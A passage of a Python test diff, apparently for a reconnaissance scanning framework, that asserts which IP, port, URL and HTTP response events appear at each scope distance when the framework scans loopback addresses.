"http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.77:8888"]) + assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + + assert len(all_events) == 18 + assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + + assert len(all_events_nodups) == 16 + assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + + for _graph_output_events in (graph_output_events, graph_output_batch_events): + assert len(_graph_output_events) == 8 + assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and "spider-danger" in e.tags]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"]) + + # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1 + events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + "127.0.0.1/31", + modules=["httpx"], + _config={ + "dns": {"minimal": False, "search_distance": 2}, + "scope": {"report_distance": 1, "search_distance": 1}, + "excavate": True, + "speculate": True, + "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, + "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], + }, + ) + + assert len(events) == 8 + assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + + assert len(all_events) == 22 + assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) + + assert len(all_events_nodups) == 20 + assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) + + for _graph_output_events in (graph_output_events, graph_output_batch_events): + assert len(_graph_output_events) == 8 + assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"]) + + # 2 events from a single HTTP_RESPONSE + events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + "127.0.0.111/31", "127.0.0.222", "127.0.0.33", + seeds=["127.0.0.111/31"], + modules=["httpx"], + output_modules=["python"], + _config={ + "dns": {"minimal": False, "search_distance": 2}, + "scope": {"search_distance": 0, "report_distance": 0}, + "excavate": True, + "speculate": True, + "modules": {"speculate": {"ports": "8888"}}, + "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], + }, + ) + + assert len(events) == 12 + assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) + assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) + assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"]) + assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"]) + assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) + + assert len(all_events) == 31 + assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) + + assert len(all_events_nodups) == 27 + assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) + + for _graph_output_events in (graph_output_events, graph_output_batch_events): + assert len(_graph_output_events) == 12 + assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) + assert 1 == len([e for e 